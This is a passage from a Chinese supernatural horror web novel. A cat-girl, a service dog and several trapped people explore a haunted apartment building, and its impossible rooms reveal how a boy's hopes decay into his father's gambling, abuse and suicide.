“既然是在这种地方,什么都有可能,刚刚底下那个女人,也没什么不对的。” 夏鲸鱼说着安慰的话,心却不由吊了起来。 望着紧闭的房门,他们焦心如焚。 小猫怎么还没出来? 它能从这间不存在的房间里走出来吗? ———— 这时,小咪正在蹲在地上,歪着头,吃着掰成小段的火腿肠。 男孩咽了口口水,又掰下小块火腿肠,递给小猫,“猫猫,吃饱了你就要走哦,我妈妈要回来了,妈妈不喜欢猫。” “喵呜。”小咪舔了舔鼻子,抬起爪爪,把他的小手往回推。 男孩瞪大眼睛,“猫猫,你让我也吃吗?” “喵!” 他弯起眼睛,弦月般的眸子明亮了起来,小心翼翼把火腿肠拿起,先舔了舔沾满粉红肉糜的肠衣。 小咪环顾房间一圈,依旧是和100相同的布局,连家具摆放都有几分相似。 不过,在客厅靠窗的位置,摆了一张小课桌,和一条红色的塑料圆凳。 小咪轻轻一跳,跳到了桌子上,趴了下来。 男孩只吃了小段火腿肠,重新把它放回厨房,接着跑过来找它,“猫猫,你想要睡觉吗?不能在这里睡,妈妈快回来了。” 他抬头,焦急地看眼墙上钟表。 时间到了九点。 小咪也要在十二点之前回到房间。它低下头,台灯照着猫的影子,两只尖尖的耳朵伴随一段柔和的弧线,拓在是本子上。 这是本作文本,上面用稚嫩的字写着一篇日记。 名字叫【我的妈妈】。 字体歪斜,上面很多不会写的字用拼音替代,还有很多错别字。 但对猫没有影响。 小咪不认识的字更多。 “喵呜。”小咪在桌子上打了个滚,趁机用爪爪在作文本上一点,悄悄运用能力。 它跑到门口,喵喵叫着让人给它开门。 小男孩蹲下来,嘴里说着让猫走,可实际上又舍不得,忍不住把它从头摸到尾,摸了又摸。 小咪趴在他的膝盖上,仰起小脑袋,蹭了蹭男孩的下巴。 他感受到小猫冰冷的鼻子贴在脸颊,不由瞪大了眼睛,也没注意到自己的作文本悄悄溜出了房间。 …… “我的妈妈。” “我的妈妈是个很辛苦的人,每天都要从早忙到晚。” “我的爸爸爱喝酒,喝醉后经常打妈妈和我。妈妈说,她的未来就指望我了,我的名字,就代表她对我的希望。” “我一定要好好学习,赚很多钱,让妈妈过上好日子,一定、一定不要成为爸爸那样的人。” “希望。希望。” 夏甜罗把作文念完,叹了口气,“这孩子也挺可怜的,这妈妈也挺可怜的。” 葛红侠:“孩子是父母的希望嘛……” 她一时没想到作文能提供什么线索,把本子往前翻,本来想再看看小孩写的其他作文的,却无意翻到了封面。 作文本掉在了地上。 葛红侠手指微微颤抖。 【苏成龙】,稚嫩字体认真填在姓名那一栏。 而这个名字,他们在苏乐童的牌位上见过。 他是苏乐童的烂人父亲! “砰——” 不等众人思考,一声巨响在楼内回荡,阴冷气息潮水一样涌来。 “快点回自己房间!” 第56章 秒针在表盘疯狂转圈, 清脆塔塔声连成一片。 老旧破皮的沙发上,两道人影并排坐在一起。 “若雨,你怎么看?”葛红侠看向旁边的女孩。 莫若雨是她带的实习生,刚来公司不久。女孩频繁看着被拉上窗帘的窗户,双手抱住膝盖,身体微微发抖,精神时刻处在崩溃的边缘。 葛红侠的问题暂时将她拉回来了一点。 她想了下,“可能是重名吧,苏成龙三个字,并不罕见,望子成龙望女成凤的父母,也有很多。只能是重名了吧……苏乐童的爸爸年纪那么大,不可能是个这么小的孩子。” 葛红侠摇头,“我不觉得是重名。如果200号房是现实存在的, 也许有可能是巧合,但它并不是这栋楼里本该出现的房间。” 莫若雨小声嘟囔:“我们现在本来也不在现实里啊。” 葛红侠从包里翻出一张纸和笔, 画出01户型和02户型, 两号房严丝合缝嵌在一起, 中间没有00号房的空间。 “其实它的房号也很奇怪,一般房间号都是直接从01开始。” 葛红侠陷入沉思,“至少可以认定, 这栋居民楼原本只有01户和02户, 而00户的特殊的。200房间里的小孩是401室的赌鬼父亲, 100号的母亲怀孕, 期望儿子能成器……”她脑中闪过一个念头,瞪大眼睛,“难道……” “葛姐?” 葛红侠喃喃自语:“但是不管怎么说,楼里出现的死者只有401号的童童,如果他不是希望,谁又是死去的希望?” 莫若雨听得头都大了,头好痒,要长脑子了。 门外又响起“咚咚”声。 莫若雨把自己抱得更紧,闭上眼睛,身体不由颤抖。黑暗之中,冷气直直往她衣领里钻,好像有什么在对着她吹气。 要不是白天夏鲸鱼他们说出鬼会制造幻觉吓人,说不定她会被吓得冲出房间。 “不能开门不能开门。”莫若雨心里默念。 葛红侠年纪比她大,也有一个正在上小学的孩子。 200室小孩那句“妈妈不让开门”的稚嫩童音,让她想起了自己的女儿。 每次出门,她也会这样,叮嘱着孩子“不要给陌生人开门”。 她还喊朋友帮忙诈过女儿,女儿在门后,乖巧地说:“妈妈没回来,门不能开。” 孩子眼神清澈,稚嫩如嫩芽,她想好好呵护她,也想孩子以后能超越自己,出人头地。 当父母的,对孩子寄予希望,不是一件理所当然的事情吗? 等外面的声音渐渐消失,倒立鬼影走到楼上。 葛红侠开口:“你说,若雨,为什么那个会给小猫开门的孩子,会变得那么烂呢?他作文里写,自己绝对不会像自己的父亲一样,结果沾染赌博,五毒俱全,比父亲更烂了,间接逼死了自己的孩子。” 莫若雨咬着唇,眉毛拧着,想了半晌,才说:“小孩子总觉得未来一定会很好吧……小时候我也以为自己会有出息,我还跟我爸妈说,能给他们在红竹市买房呢。”她自嘲地笑了一下,“结果就被社会毒打了。像我这种,没有天赋,家庭条件不好,平平无奇的人,能够养活自己,就挺不容易了。” “那你会恨自己的父母吗?恨他们把你生在贫穷的家庭,也没有给你足够的天赋和资源。”葛红侠心悬在了半空,仿佛在与自己的女儿对话。 莫若雨怔了下,嘴角微微弯起,“我爸妈虽然没有很多钱,但是对我很好啊,也没缺过我什么。每年生日,他们都会给我买个蛋糕,插上蜡烛,一家人一起唱生日歌。” 小火苗被一口气吹灭,心里却亮起一盏温暖的烛光。 “每周末,爸妈都会带我出去玩,我们一起去山上郊游,一起去公园放风筝……” 每一点小小的幸福,经年累月积攒起来,变成一堵坚不可摧的城墙,替她抵挡来自冰冷世界的风吹雨打。 “后来每次失败受挫了,很狼狈的时候,想一想蛋糕、春天,天上五彩的风筝,就觉得世界还是很美好的,这点事,也不算事了。” 葛红侠往后躺了躺,眼睛望着转动的钟表,陷入沉默。 莫若雨不安地靠近她一点,小声问:“葛姐,是怎么了吗?” “没什么,”女人轻轻叹了口气,“我在想,给女儿退几个补习班,周末不加班了,多陪她去放一放风筝。” 又沉默几分钟。 她轻声说:“如果能活下来的话。” 莫若雨:“我们一定可以活下来的。” ———— 今夜很平静地过去了。 小咪睡得很香,直到听见外面的响动声,抖了抖耳朵,睁开眼睛。 “喵喵大佬呢?”夏甜罗问。 闪电沉默着,把他们带到衣柜面前。 夏鲸鱼想到了那天晚上在衣柜里摸到的东西,脸色苍白如雪,腿软得几乎站不住,“难道、难道喵喵大佬已经……” “不可能,喵喵那么厉害!” 夏甜罗这样说着,忍不住轻轻啜泣起来。 可是如果没有遇害,怎么可能会出现在衣柜里呢? 只有鬼才喜欢窝在衣柜里,冷不丁出现,吓人一跳! 葛红侠双手微微颤抖,准备拉开衣柜,手还没用力,柜门自己缓缓打开了。她吓得缩回手,后退几步。 其他人瞬间蹿到卧室外面了。 小咪从衣柜里探出头。 喵? 她爬出来,伸了个懒腰,用棕榈床垫挠爪子。人类的指甲圆钝,挠起来不够痛快,她只挠了两下,“你们在害怕吗?” 猫对人的情绪一直很敏锐。 夏甜罗:“大、大佬,你在衣柜里干什么?” 小咪歪头,表情纯良,“睡觉。” 猫最爱在衣柜里睡觉。 夏甜罗表情裂开。 啥好人在衣柜里睡觉啊? “可是衣柜很小,”葛红侠比较谨慎,思考着厉鬼替代同伴的可能,“睡着不难受吗?” “不难受。” 小咪为他们示范了一下睡姿。她把自己蜷成一个圆圈,又或者身体曲起,脑袋枕着脚踝上,再或者身体趴着,腰肢弓起…… 人类看傻了。 夏甜罗:“这身体柔软性,大佬还得是大佬啊。” 夏鲸鱼:“……除了牛无话可说。” “表转得更快了。”小咪看了眼钟表,对众人说。 葛红侠:“我们得抓紧时间了。” 闪电耳朵抖了抖,拿起缠在自己脖子的牵引绳,把另一头递给小咪,带她往楼下走。 小咪从容接过链子,也不知道他们的互动在其他人眼里看起来多么炸裂。 闪电听力比猫要好一点,她走到了第三层,才听见楼下传来的虚弱声响。 101的门口敞开,那位大爷背对着他们,坐在板凳上,嘴里念叨什么。房间凌乱不堪,血渍干涸,似乎有一场打斗。 “咚咚。”小咪学着人的样子,礼貌敲门。 老头像受到什么刺激,音量猛然拔高,声音尖锐,“我再也不敢偷看了,我再也不敢偷看了!” 他缓缓扭过头,双眼的位置变成血淋淋的两个洞,血泪悄然滑过布满尸斑的惨白脸颊,滴答掉在地上。 “原来是你们啊。” 老头缓缓站了起来,“是不是你们告诉他的?是不是你们告诉他的?” “我去——” 夏甜罗吓得狂拧哥哥的手臂,“他的眼睛怎么没了?昨天那个姐拿走了刀,就是来找他报仇的?太凶残了吧这个楼,难道没有法律吗?” 夏鲸鱼:“我去我去,他走过来了。” 人类连忙跑上了台阶,只有小咪牵着闪电,还站在门口。 老头双目流血,“你们害我没了眼睛……”他表情狰狞,从身后抽出一把剔骨刀,“那就把你们的眼睛给我吧!!!” “啊啊啊!” 夏甜罗他们跑到202房间,把门紧紧反锁。 外面的老头拿刀不停劈门,怒吼:“把眼睛还给我!把眼睛还给我!” “喵喵大佬呢?”夏甜罗惊慌地喊。 葛红侠:“她好像是往楼下跑了。你放心,她比我们厉害很多。” 小咪和人往反方向跑,推开单元大门,跑出了这栋楼。 黄毛的身体还在地上,已经变成一滩脓血。 小咪顺着墙根,来到那天留意过地方。地上一团触目惊心的血红,血比刚来时更加鲜艳,铁锈味浓烈,流动的血液里还有碎肉骨茬。 密密麻麻的黑蚁爬满肉块,苍蝇在血液上嗡嗡飞舞。 这里是苏乐童坠亡的地方。 在不远处墙根,小咪看见了点黑色余烬,用鼻子嗅了嗅,是烟灰的味道,废墟里还有没烧完的纸钱。 有人在祭拜苏乐童。 他的父母吗? 邻居吗? 501的女人吗? 小咪觉得最后一个选项可能性最大。 在501号房住户下楼时,手里提着一个包,包里有类似的烟气飘来。 小咪侧耳听了听。 “我的眼睛!我的眼睛!” 大爷的咒骂声在单元门附近徘徊,如果她推门进入,肯定会被暴怒的大爷蹲个正着。 但猫本来就是不爱走门的,它最擅长的事,就是爬楼。 只是这栋楼有点特殊,一只鬼像蜘蛛一样在墙壁爬动,守在了楼上。 小咪察觉到异样,抬起脸。 视线被一张破碎的面孔充斥,他倒悬在墙壁上,目光冰冷。 小咪头皮发麻,全身的毛都竖了起来,如果她还有尾巴,现在已经炸得像个鸡毛掸子一样了。手里的牵引绳绷紧,闪电察觉到危险,挡在她的身前,全身肌肉紧绷。 明知不敌,但只要她一发指令,他就会冲出去,和厉鬼缠斗。 他基因优秀,是同一窝中最出色、最会抢奶的小狗,生下来就被选作工作犬,被训练为人类服务。 小咪却用力扯回链子,趁着厉鬼还没动作,眼疾手快把香塞进他的嘴巴里。 厉鬼怔了片刻,吃下香后,身上阴沉可怖的气息散了许多。 小咪问:“你不疼吗?” 每一次“砰”一声巨响,是他在重复跳楼的过程。脑袋直直摔在地上,颅骨破碎,脑浆鲜血四溅,一定会很疼吧。 但是小咪不明白,为什么明明很疼,他还要留在这里,一次又一次跳楼。 厉鬼嚼吧嚼吧,把香吞进去,身影淡了一些。 小咪想问一下他有什么心愿未了,但厉鬼并不会和她交流,吃一支香只能让他定在远处,延缓时间,一小会后,他又变得凶戾无比。 这对小咪已经足够了。 她和闪电爬到二层楼,在墙壁上爬的时候,小咪注意到, 101号房和102号房两扇窗户紧挨着,中间没有100号房的窗户。 昨天她去100和200时,明明在他们房间看见了窗户。 这样看,这些0结尾的房间,都不属于这栋楼。 小咪先敲敲202的窗户,安抚受惊的人类,又分给他们每人一支香。她踩着凸起的窗台,纵身一跳,双手挂在302的窗台上。 少女双臂用力,身体上拉,弯曲膝盖,顺利地爬上窗。 202挤在一起的人们目瞪口呆地看着这一套流畅的动作。 “喵喵应该是经受过专业训练的吧。”夏鲸鱼喃喃。 夏甜罗用力点头,“说不定他们都是特种兵,是国家发的大佬,专门来保护我们这些人的。” 门外拿刀的老头依旧在单元门和二楼之间徘徊,堵住了他们。 葛红侠:“喵喵去找线索了,趁着这个时间,我们来分析一下现在的情况吧。” 昨天晚上发生的变故,是101的大爷被剜去眼珠,这肯定和他们发现相册,揭露出他是个偷窥狂有关。 “是501室的女人吧。”夏鲸鱼打了个寒战,“她还特意要走喵喵的刀。” 葛红侠轻轻摇头,“大爷身上没有刀伤,而且,那把杀鱼刀比较大,并不适合挖眼珠这样精细的活。” 夏鲸鱼:“那谁还和大爷有仇?” 葛红侠:“苏乐童。昨天晚上,那只鬼没怎么找我们,我想,他是来101了,用手把大爷的眼珠子挖走了。 501室觉得他恨自己,但实际上是相反的,他是想保护她。” 其他人不禁有些后怕。 幸好昨天没有把501填进答案。 “501给的香也能为我们拦住一会苏乐童,她绝对是个友善的npc。” 夏鲸鱼:“那得多找她啊!至少让她再给几把香吧,或者让她和鬼大爷说说好话,别搞我们了。” 葛红侠好像抓到关键之处,“她不可能和苏乐童说上话!” “为什么?” 葛红侠:“你们忘了,下午六点多的时候,她就离开了这栋楼,她好像上的是夜班。这就意味着,他们两个没有机会碰面。” 夏甜罗喃喃:“苏乐童每天晚上回来,是不是为了找她?他的执念,和501有关。他会杀死所有危害到501的人,但为什么要猎杀我们呢?” “有可能他觉得我们是入侵者,感觉到危险,又或者,出于某种规则限定?” 莫若雨小声说:“如果、如果我们让他们相见呢?” 她的声音细细的,说的的假设却很大胆,让几个人眼睛一亮。 “下午五六点的时候,501室女人会提包出去上班,我们要想方设法留下她。”葛红侠看眼钟表,时间过得很快,现在就下午三点了。 夏甜罗:“但是,外面那大爷还要挖我们的眼睛呢。” 夏鲸鱼咬咬牙,“我来!” “哥!你别逞强。” 夏鲸鱼拍拍她的手,“我腿长,跑得快,校运会还拿了冠军,不像你八百米都跑不及格。” 要是其他时候,夏甜罗早就弹他一脑瓜崩。 但此刻,她抓住哥哥的袖子,眼里盈满了泪珠。 夏鲸鱼:“……你怎么回事,人还没死呢,不许给我哭丧。” “但是,我们和女人交谈,留住她,要一段不短的时间。就算你跑到五楼,争取来的时间也不够。”葛红侠冷静地叙述事实,“何况,按照这只鬼的速度,最快跑两楼,就会被他抓住了。” 夏鲸鱼叹气,“那怎么办?总不能白白在这里等吧。” 葛红侠:“我有一个计划,但需要大家一起配合。”她抿了下嘴,“在这栋楼里,除了我们自己的房间,我们还有一扇门的钥匙。” 夏甜罗惊呼:“401!” 她不知道苏乐童是不是藏在401的,但可以肯定,401也在闹鬼。 葛红侠:“把这位眼瞎的大爷,引到401号房去!” 商量好后,夏鲸鱼站在门口,深吸一口气,拉开了门,大喊:“崽种,来追我啊!” 单元门前徘徊的鬼影马上扭过头,拔刀朝他狂奔而来。 夏鲸鱼马上跑到3楼。 就在鬼大爷追到2楼和3楼的中间时,葛红侠拉开门,朝单元门跑去。 大爷扭头又朝1楼跑来,刚跑到单元门,202室的夏甜罗冲出来,喊一声吸引仇恨,跑到3楼。 大爷气得嗷嗷叫,拔刀又在她后面追,刚追到3楼,302的门砰地一声就关上了。 这时,102室的门打开了。 102本来是属于崔明远的房间,在他死后,他们在他身上找到了钥匙。 葛红侠在102拉仇恨,等大爷快跑到跟前时,她飞快缩回房间,锁上房门。 大爷:…… 在大爷跑到1楼时,夏鲸鱼从3楼跑到了4楼,打开了401的门,不等遗像里的鬼反应,冲到灵位前给他上了一炷香。 他藏在门后,掌心布满黏腻的冷汗。 等了一会,有点心急地想,大爷怎么还没上来,就来回跑了几趟,大爷怎么就累了呢?大爷腿脚不利索啊。 楼梯传来嗒嗒脚步声。 大爷提着刀,慢慢走上来,身影多了几分疲惫。 夏鲸鱼拉下门,弄出点声音,神经绷到极致,透过门缝,看着那道提刀的身影渐渐靠近。 大爷马上举起了刀,要是以前,他不会走进401号房,可他被挖出眼珠,根本不知道自己在几楼几号房。 “把你的眼珠赔给我吧。”他面目狰狞地冲进房间。 夏鲸鱼身子一矮,从他的腋下钻过去,不等大爷反应,瞬间拉上门,用钥匙将门反锁。 做完这一切,他心跳得快要跃出胸膛,汗流如浆,不顾形象地坐在了地上喘气。 门后先传来刀劈在金属上清脆的声音,没多久,就变成了大爷的惨叫。鲜血从门缝流了出来,惨叫也渐渐减弱。 其他几个人跑了上来,询问他的情况。 夏甜罗没有说话,紧紧抱住了哥哥,忍不住呜呜哭了起来。 “哎,你们这是在干什么?” 501的女人提着包,站在楼梯拐角,好奇地问。 夏甜罗擦擦泪水,“我、我……” “她想念童童了。”葛红侠说。 女人红艳艳的嘴角往上扬,401门缝有血渗出,但她好像看不见,继续往下走。 葛红侠:“我们还想再祭拜一下童童,可以再给我们一点香吗?” “行啊。”女人递了一捆香过来。 葛红侠看她挺好说话,试探性地问:“请问你今天晚上可以留在家里吗?” 女人微微眯起眼睛,“我要上班的。” 葛红侠:“我们可以给你钱,”她摘下手上的金镯子,就算这个世界钱币和现实不相同,金镯子也是硬通货,“我们只是想等会再向你多询问一下关于童童的事情,”她露出悲伤的神色,“我们很想念他。” 女人没有说话。 楼道冷了几个度。 突然变得很安静。 葛红侠忍不住仔细打量501室的女人。 昏暗光线里,她的一张脸刷白,涂了很厚的粉,嘴唇抹得鲜红,眉毛是纹的,手法并不高明,因褪色透着些暗沉的红色。 她应该过得并不好,水粉色毛绒上衣布满绒球,酒红色高跟鞋掉漆,划满伤痕,身上的香水味也太过浓烈,香到有些刺鼻。 女人阴沉地盯着他们,刷了粉的脸显得更白了,这让她像个浓墨重彩的纸人。 “你们……是想让童童回来找我吧。” 她直勾勾盯着几人,语气冰冷,“你们,是想害死我吧。” 几个人仿佛眼睁睁看着绿名的善意NPC变成了红名怪,顿觉寒毛倒竖。 他们才想明白,在女人的心里,童童每夜回来,是找她报仇。她下午急着离开这栋楼,是为了上班,也是为了躲避童童的鬼魂。 如果再拦住女人,一定会发生什么可怕的事情。 葛红侠识趣让开,“我们没有这个意思,只是……” 女人没有时间等他们解释,急匆匆往下走。 葛红侠追过去,缠着她,问:“姐,童童在去世前和你说过什么吗?我们真的很想了解和他有关的事。” “能说什么?一些小孩子的话呗。” 高跟鞋风急火燎噼里啪啦踩在地上,一直走到单元门前,女人才放慢脚步,回头看他们一眼,“他说他一点都不想被生下来,想爬回妈妈的肚子里去。” 说完,她拉紧衣服,低下头,快步往前走,刻意回避几步之外砰然溅开的血腥。 “葛姐,现在怎么办?” NPC不肯留下他们也没什么办法,尤其这位NPC或许还不是人类。 葛红侠看眼时间,皱了皱眉,“这么晚了,喵喵怎么还没出来?” “糟了,喵喵大佬不会遇到什么危险了吧!” 葛红侠紧盯着一分一秒流逝的时间,“喵喵应该在帮我们理另一条线。” “另一条线?” “从100号房到500号房,五间00号房不属于这栋楼,代表有特殊的意义,是楼里藏着的暗线。只有理清苏乐童这条明线,和最关键的暗线,我们才能真正明白,是谁杀死了希望。” 第57章 在人们被堵在202的房间里时,小咪早已经爬到了301 ,避开在卧室休息的婆婆,回到楼道之中。 她今天要探索剩下的三个房间。 她敲敲300的门。 “你好?”一个年轻人打开门, 好奇地打量她。 小咪让影子溜进房间,飞快打量四周。 布局依旧同100和200相同,只是家具更加陈旧, 小课桌放在窗户边,摆满了瓶瓶罐罐。 厨房里,头发发白的女人在炒菜,油烟味呛得年轻人捏着鼻子咳嗽,还有一个年轻些的女孩子坐在沙发上,漫不经心地看着电视。 “这就是你家?”她脸上带着礼貌的笑容。 男孩垂下眼睛,不自在地搓了搓手,“嗯”了声。 小咪注意到, 他的面部线条和200的小朋友很相似。 两个人低低私语。 “我爸不太同意我们俩。他说你条件太差了,他给我介绍了另外一个人, 但我还是想和你在一起。” “我会努力赚钱, 让你过上好生活……” 低头私语时, 厨房的女人悄无声息地来到他们面前。 小咪见过这个女人,在100的房间里,在那间房里,她是个挺着大肚子的孕妇。 而在这间房里, 她被生活磋磨的痕迹更重, 身材干瘦, 脸色发黄,眼角皱纹丛生,布满斑斑点点的黄褐斑。 她像一头凶悍的母狮, 眼里仿佛有火在喷,“我家儿子会有出息的!他会有出息的!” 女孩挑了下眉,也没争辩什么,夺门而出。 小咪跟着一起离开了房间,女孩子一走出门,身影就变成透明,消失不见。小咪眨了眨眼睛,回头看了眼,似乎明白了什么。 离开300,小咪走到四楼,敲响400的门。 “谁?”门后传来不耐烦的声音,没人给她开门。 小咪:“苏成龙?” 门被拉开,露出张疲惫的面容。 小咪见过他的童年,也见过他的青年,现在出现在门后的,是一个中年人。 他双眼无神,眼下有青黑,但穿着还算体面。 “你找我有什么事?”他问。 小咪往里面瞥了眼,在靠窗的小课桌上,看见了一道背对着她的身影。 苏成龙在儿子去世后,很快就搬离了这栋楼,在小课桌上写作业的应该是苏乐童,那个本该死去的孩子。 这些0号房间都是不存在的,所以,时间在这些房间里是错乱的。 小咪:“我可以进来吗?” 苏成龙皱起眉,“你也是她的牌友?” 他往后退一步,还是拉开了门。刚进入房间,小咪就听见了麻将噼啪的声音,呛人的劣质烟味让她捂住了鼻子。 小客厅里多塞了一张麻将桌,桌旁烟雾缭绕,旁边坐着四个人在打牌,但没有一个是300中出现的女孩。 “那个女孩子呢?”小咪问。 苏成龙:“谁?” 小咪:“和以前的你在一起的女孩。”她指着沙发,“你们在这里聊过天。” 苏成龙扯了下嘴角,“早就没谈了,你到底是谁?” 小咪没说话,继续往前走,卧室门里传来“哎哟”的呻1吟声。老人躺在一张架出来的小床上,底下是一个尿盆。 她不停地低吟着,被病痛折磨得眼神麻木。 “苏成龙,你他妈别让你妈再叫了吗?叫得老娘手气都不好了!” 女人大嗓门地喊。 苏成龙走到她面前,压抑着怒气,“你能不能别打牌了,日子还过不过了?” “哈,”她嘲讽地笑,“你一个一发工资就买彩票的,好意思管我?” “那我是为了给家里多弄点钱!” “我就不是给家里弄钱了,滚滚滚,别扫兴,二筒是吧,我碰。” 里面躺着的老人也叫了起来,“瞧你这没出息的样子!真是白生了你,生你还不如养一条狗!没出息,你怎么不去死……” 两个声音一个高亢,一个沙哑。 苏成龙转过身,来到儿子身后,大手揉揉他的头。 苏乐童的身体在轻轻颤抖。 “瞧你妈那样,以后千万别学她,要好好学习,知道吗?” 男孩轻轻点头。 苏成龙:“这次月考成绩发下来的吧,让我看看你的成绩。” 苏乐童脑袋低着,小身板不自觉颤抖,手指紧紧压住那张成绩单。 苏成龙声音沉了下来,“怎么不敢给我看?”他压住男孩肩膀的手用力,五指几乎要掐碎他的肩胛骨,男孩痛得哇地一声哭了出来,手下的成绩单被一把抽了出去。 “辛辛苦苦供你读书,你好意思考这个分数?” 苏成龙走到墙角,拿起一根竹条,面无表情地说:“我这辈子没别的指望,就盼着你能成器,结果你学习都不努力,就知道偷懒,以后怎么考好大学,怎么找好工作?我看你是皮痒了……” 竹条高高扬起,在快落在男孩身上时,突然顿在半空。 苏成龙的手腕被人抓住了。他扭过脸,猩红双目盯着少女,这才意识到房间里还有一个人。 小咪:“你不该打他。” 苏成龙表情扭曲,“这是我们家事,你别管。他偷懒,辜负我的期望,就该被打。” “但是,小的时候,你在作文里写过,爸爸经常喝酒,经常打你和妈妈,你说,你绝对不会成为像你爸爸那样的人。” 苏成龙瞪大眼睛,呆呆顿在原地。他发愣的时候,屋里的时间停止了流动,钟表停转,上浮的烟气凝在中央。四周变成了一张老旧的照片,小咪拉住苏乐童,带他走到门口,刚出房间,一只惨白如纸的大手抓住了男孩的头,把他拉回房屋。 “小时候写的东西,谁还记得?” 门砰地一声合上了。 小咪本来打算到500去,可听见一声巨响,意识到已经到了十二点,只好回到房间。她坐在沙发,闪电坐在地上,长腿长脚缩在沙发与茶几的缝隙,有点憋屈。 于是小咪拉起他,让他和自己坐在一起,她解开闪电的防咬面罩,问:“为什么人会变呢?” 闪电:“……我也不知道,但我见过很多善变的人。” 退役特种犬,又在治安局工作,他见过很多事、很多人。 闪电的声音低而沉,让小咪想起那只烟嗓布偶。 小咪趴在沙发上,把自己团成一个圆,脑袋靠在闪电的腿上。 现在猫已经知道了,100到500这几间房,其实是同一个房间,在不同时间线上的衍生。 现实里的居民楼主角是苏乐童回魂,而在这条时间线上,主角变成他的父亲,苏成龙的一生。 小咪闭上眼睛。 明天她要去500看一看,她想,在那一间房里,应该能找到答案。 晚上依旧有“咚咚”声响在楼道徘徊。 知道怎么防住厉鬼后,大家也总算适应了一些。睡觉的睡觉,夜聊的夜聊。 时间转得很快,当时钟转到八点时,他们体感只过去了一个多小时。 小咪找到葛红侠,和她交流了昨天的发现。 其他人听后瞪大了眼睛。 夏鲸鱼:“这也太玄了吧!连时间线都不是同一个吗?” 夏甜罗挠了挠头,“但是,主角到底是苏乐童还是苏成龙,不对,100的房间没有苏成龙啊。” “有的,”葛红侠提醒:“在孕妇的肚子里。” “我去——真的哎。这两人到底谁是希望?好烦好烦,快告诉我谁是希望,是谁杀了希望啊!”夏鲸鱼急得挠乱头发,仰天长啸。 小咪:“谁都是希望。” “啊?”夏鲸鱼茫然地看着她,“喵喵大佬,这是什么意思?” 小咪站起来,“我要去500。” 葛红侠点头,“我也去501 ,试着劝那位住户今晚留下来。” 昨天劝说时是傍晚,时间很紧迫,女人来不及听他们解释,就急匆匆赶着离开。今天还早,说不定他们有机会能劝她留下来。 小咪点头,往门外走,来到500的门口。 她用力拍门,“苏成龙,苏成龙!” 拍了好久,门终于被拉开,伴随着一股酒味与恶臭扑面而来。 一个潦倒至极的人出现在门口。他的头发凌乱,双目布满血丝,醉醺醺地说:“找、找我有事?” 小咪:“我可以进来吗?” “进来干什么?走!走走!” 闪电按住了门,让他无法合上。 小咪:“我有个东西要送给你。” 男人狐疑地看她一眼,突然眼睛一亮,“我们来赌一把吧,你赢了,我就让你进来,你输了,就留下来,别走了,好不好?” 小咪皱眉,她不懂赌博,“怎么赌?” “就最简单的吧,”他从口袋里拿出块布满污渍的硬币,“正面你赢,反面我赢,好不好?” 小咪点头。 猫不懂赌博,但懂作弊,将能力覆盖在硬币上面,正面反面只在她的一念之间。 “不行!不行!这把不算数,只是练手。” “这把也不……算三局两胜。” “五局三胜,我就不信了!” “十局六胜。” 几分钟后,男人不可置信地看着手里硬币,豆大汗珠一颗又一颗从额头滚落,依旧不肯服输,喃喃念着“再来一把。” 小咪走进房间,看见眼前景象,不禁皱了下眉。 房里很乱,堆满了垃圾,地上铺着一层厚厚灰,但苏乐童的灵位还在,桌子也擦得干净,香炉里甚至还有没烧完的香。 茶几不在原来的地方的,而是倒在卧室门附近。茶几表面蒙着灰尘,也因此,那一对鞋印才格外显眼。 小咪目光往上移。 在门框之上,有一条系成圆形的绳索。 小咪看向投掷骰子的男人,他穿的毛衣领子很高,在他蹲下来的时候,毛领之下露出肌肤一道紫色的淤痕。 “为什么不赢?为什么总是不赢?” 他蹲在地上,一次又一次投掷骰子。 小咪问:“赢了又怎么样?” 男人背对着她,听见这句话,他的头往后仰,反折,颈骨刺穿了皮肤,脖子上的紫红淤痕完全露了出来。他看着小咪,下巴在上,眼睛在下,嘴角裂开,露出黄色的牙、紫红色的牙龈,“赢了,就会变好的,赢了,就会有钱,有出息的。” “你再来陪我赌一把吧,就赌最后一把,就用心脏来赌吧,我把心挖出来,你也把心挖出来,谁赢了就归谁,好不好好不好?” 他反着脑袋,突然爬过来,“我先把你的心挖出来好吧。” 一根麻绳出现在小咪的脖子上。她还没来得及反应,就被绳索吊在上空,双脚离地踢腾,她本能地捂住脖子,窒息感像潮水一样涌来。 闪电连忙走到她身下,好让她把脚踩在自己肩膀。 但是绳索在不断勒紧,嵌入皮肤之中。 男人爬到天花板上,倒折的脑袋凑到小咪的面前,他一张嘴,长长的舌头就掉了下来,“快点快点留下来,快来陪我一起赌。” 小咪挣扎着,从身上拿出作文本,递到她面前。 男人看见第一行字,脸上的表情就凝固了。 “我的妈妈。” …… 他的嘴唇颤抖,身体不由自主发颤,抱住头,发出野兽一样的嚎啕惨叫。 “啊啊啊啊!!!” 那条绳索也悄然松开,重新挂在了门上。 小咪看蜷缩在角落的男鬼一眼,见作文本这么有效,拿起来一个字一个字念给他听。 “我的妈妈……” “求求你别念了。”恶鬼捂住耳朵,不停求饶,“别念了、别念了。” 小咪不管他的哀嚎,继续大声朗读,她还记得夏甜罗念的作文,就算有几个字不认识也不影响背诵。 …… “我一定要好好学习,赚很多钱,让妈妈过上好日子,一定、一定不要成为爸爸那样的人。” “希望。希望。” 最后一个“希望”念完。 男鬼吊在了门上,把脖子套进绳圈里,身体在空中轻晃,紫色的舌头垂得很长。 为了逃避童年时的自己,他宁愿再把自己吊死一次。 但小咪是不能让他死得这么痛快的。 她踩着茶几,把作文本摊开,贴在男鬼的脸上,问:“告诉我,谁杀死了希望?” …… 钟表转得飞快。 501室,葛红侠发挥三寸不烂之舌,终于说服了女人,让她相信苏乐童回魂不是为了复仇,同意今晚留在楼里。但她提出要求,要他们在501房间陪着自己。 很快就到了晚上,可500室依旧没有动静。他们不知道小咪在房间里遇到了什么,是否还安全。 “今天晚上一定要把答案填上。” 葛红侠站在黑板前,从篮子里拿出401的房间号,又放了下去。她抬头看着这一行字,像小咪一样,拿起一个字,又松开手,看着它重新被吸上黑板。 “可是葛姐,我们还没想明白,为什么喵喵说,谁都是希望?” 葛红侠看着提问的少女,“在这个楼里,孩子应该是希望。” 莫若雨微微睁大眼睛,“孩子?” “孩子背负着父母的希望出生,但未必能承受住这样沉重的希望。如果,他们能有自己选择的机会,还会选择来到这个世界吗?”葛红侠想起了自己的女儿,手指抚摸上“希望”二字,眼神幽远。 “啊——” 一声尖叫将她的神智拉回。 尖叫声是100室发出的。 门突然打开,女人面对她们坐着,双腿岔开,大肚子沉甸甸压在身上,大股大股的液体涌出,打湿了裤子,“我的肚子好痛,我的肚子好痛。” 